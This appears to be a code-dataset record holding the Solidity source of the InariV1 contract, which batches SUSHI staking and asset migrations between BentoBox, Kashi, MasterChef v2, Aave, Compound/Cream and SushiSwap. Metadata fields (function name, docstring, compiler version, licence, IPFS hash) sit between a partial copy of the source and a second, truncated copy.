function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | compoundToAave | function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
| /// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
9898,
10462
]
} | 11,782 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
